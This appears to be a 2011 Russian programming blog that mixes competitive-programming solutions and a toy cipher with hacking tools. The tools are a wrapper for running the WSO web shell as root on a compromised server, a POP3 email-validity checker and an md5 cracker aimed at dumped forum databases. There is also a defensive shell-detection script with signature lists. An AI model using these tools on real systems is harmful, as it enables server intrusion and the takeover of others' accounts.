воскресенье, 14 августа 2011 г.

Алгоритм сжатия данных

Об алгоритме: Кодирование_длин_серий
Кидаю сюда реализацию этого алгоритма на C++, может кому-то и понадобится. Это самый простой алгоритм сжатия данных. Реализовал в виде отдельного класса.


Скачать: RLE_algo.zip

пятница, 29 июля 2011 г.

Алгоритм шифрования данных

Выкладываю сюда мой алгоритм шифрования. Ничего особенно нового в нем нет. Писалось для учебных целей. В алгоритме используются:
Реализовано на C++. Программа предназначена для шифрования текстовых данных. Читает и пишет в файл data.txt. Может шифровать неограниченный объём данных.
Алгоритм устройчив к частотному анализу. Сложность взлома определяется длиной пароля. Он может состоять только из маленьких латинских букв. N = 26^m, где m - длина пароля

Скачать:
http://cyberguru007.narod2.ru/code/cryptor.zip 

понедельник, 18 июля 2011 г.

Задачи с acm.timus.ru

Немного о себе: я увлекаюсь спортивным программированием и люблю решать задачи. В качестве языка, по понятным причинам, я выбрал C++
Вот, хочу в своем блоге публиковать исходные коды/разборы некоторых задач. Возможно, кому-нибудь пригодиться. Лично я много раз сталкивался с тем, что негде почитать про идеи или реализацию для некоторых задач.
Итак, начнем с задач попроще:

Задача 1073. Квадратная страна
Автор задачи: Станислав Васильев
Источник задачи: Ural State Univerisity Personal Contest Online February'2001 Students Session
Метки: динамическое программирование
Исходный код: скачать
Примечание: вариация на тему задачи о банкомате - выдать нужную сумму минимальным количеством банкнот. Зачада решается простой динамикой.
Функция динамического программирования:
A[i] = min(A[i-w[0]], A[i-w[1]], ... , A[i-w[j]])+1;
где A[] - массив чисел. w[] - массив квадратов.

Задача 1209. 1, 10, 100, 1000...
Автор задачи: Алексей Лахтин
Источник задачи: USU Open Collegiate Programming Contest October'2002 Junior Session
Метки: задача для начинающих
Исходный код: скачать
Примечание: решаем за О(1).
После недолгих рассуждений понимаем, что номер, на котором стоит единичка задается формулой:
F(n) = 2 + n + n*(n+1)/2;
F(n) = (n^2+3n+4)/2;
Пусть  K — номер позиции в последовательности, про который надо узнать, какая цифра там находится.
(n^2+3n+2)/2 = K;
n^2+3n+4-2K = 0;
D = 8K-7;
D = M^2, значит 8K-7 = M^2, если на позиции с номером K стоит единица.

Задача 1087. Время забирать камни
Автор задачи: Антон Ботов
Источник задачи: Третье командное соревнование школьников Свердловское области по программированию, 4 марта 2001
Метки: игра
Исходный код: скачать
Примечание: это задача на моделирование игры. Почитать здесь
Решается определением всех возможных выигрышных и проигрышных позиций со значениями от 0 до n.

среда, 6 июля 2011 г.

Рутовый WSO веб-шелл

Решил запостить у себя, возможно кто-то еще не в курсе.
Итак, читаем сообщение в блоге хакера с ником nobody. Там говорится о способе заставить работать веб-шелл WSO 2.5 из под рута. Этот способ основывается на передаче команд php-интерпретатору, который вызывается из-под рута.
Сначала поднимаем на целевом сервере права до root`a. Получаем суидник.

Далее нам понадобится два файла:
  • wrapper.php - скрипт, который будет передавать команды веб-шеллу
  • wso_root.php - сам веб-шелл. Его пришлось немного модифицировать
Редактируем конфиг враппера (wrapper.php):
//config
$suid = "/tmp/bin";
$suid_pass = "123";
$wso_path = "/var/www/site/shell.php"; 
Как вы наверно поняли:
$suid - путь до суидника;
$suid_pass - пароль от суидника;
$wso_path - путь до веб-шелла

                      Демонстрация (картинка кликабельная):


Замечание: этот способ пока работает только с шеллами, которые не защищены паролем.

Скачать: wso_root.zip

P.S. авторство этого способа принадлежит nobody

четверг, 30 июня 2011 г.

[Site Defender]

Я решил написать скрипт, который объединял в себе некоторые  способы защиты сайта от взлома.

Возможности скрипта:
Поиск шеллов. Осуществляется по кускам кода.

Парсинг логов. Производится на предмет обнаружения атак типа SQL injection, LFI/RFI, XSS, обращения к бэкдорам.  Поиск ведется по кейвордам.

Есть возможность:
1) Снять слепок с файлов в нужной директории
2) Проверить файлы этой директории на изменение/удаление/появление новых по сравнению с состоянием, когда был сделан слепок.
Снять слепок можно, только когда скрипт запущен вручную.
Слепок пишется в бинарном виде в файл md5checksum.db

Два режима работы:
1) Вручную. Для работы вручную необходима авторизация. В этом случае скрипт интерактивный.
2) По крону

Можно отслеживать скрипты, к которым передаются подозрительно большие данные post-запросами. Для этого надо изменить значение параметра $max_postsise в конфиге.

Есть файл base.cfg с базой данных.
Рассмотрим его:
#extensions white list
php, txt, html
"Белый" список расширений. Скрипт будет обрабатывать только файлы с заданными расширениями.
#extensions black list
cpp, c, pl
"Черный" список расширений. Скрипт  будет искать файлы с заданными расширениями.
#code check
function c99_buff_prepare|C99 Shell
...
Куски кода по которым обнаруживаются шеллы. В формате код|название
Далее идут кейворды, по которым обнаруживаются атаки.
(SQL injection, LFI/RFI, XSS, обращения к бэкдорам)

Конфиг скрипта:
##############################
my $mode = 0; #1 - крон, 0 - вручную
my $s_root = '/var/www/xxx'; #директория для сканирования
my $access_log = '/home/daniel/logs/access_6.log'; #путь к файлу с логами
my $output = "/home/daniel/out.txt"; #файл для вывода работы скрипта
my $max_postsise = -1; #максимальный размер пост-данных. -1 - если не отслеживать
#если mode = 1
my $scan_logs = 1; #сканировать логи
my $scan_dir = 0; #искать шеллы
my $md5_mask = 0; #проверять состояние файлов по md5-маске
#если mode = 0
my $password = "6be2fb4b673873cd21cb95197e978abb"; #пароль в md5(md5($pass)) для авторизации
my $write_out = 1; #писать ли лог работы скрипта
##############################

Скачать: site_defender.zip  

POP3 Email Checker


Написал простенький многопоточный перл - скрипт для проверки мейлов на валид. Конфиг программы:
####################################
my $file = "mail.txt"; #файл с мейлами
my $thr = 5; #кол-во потоков
####################################
Поддерживает домены:
  • mail.ru
  • bk.ru
  • inbox.ru
  • list.ru
  • ya.ru
  • yandex.ru
  • narod.ru
  • rambler.ru
  • ukr.net
  • freemail.ru
  • meta.ua
  • i.ua
  • pochta.ru

Скачать: pop3_checker.pl

c0llision.net Hash Cracker

INTRO 
12 августа на сайте c0llision.net был запущен свой собственный API. Это дает огромные возможности, теперь стало намного легче использовать этот сервис для взлома md5-хэшей. Для этой цели я написа простенький perl-скрипт.
Встречайте, c0llision.net Hash Cracker :)

SCREENSHOT 

USAGE 
Рассмотрим конфиг программы: 
#################################
$thr = 15; #количество потоков
$input = "hashes.txt"; #файл с хэшами
$file_format = 1; #формат файла с хэшами
#1 - вида user:hash, удобно для обработки сдампленных форумных баз
#0 - вида hash
#################################
Скрипт многопоточный, писался на сокетах.
Зависаний и неполадок при тесте на 100 и более потоков не обнаружено.

Скачать: cracker.pl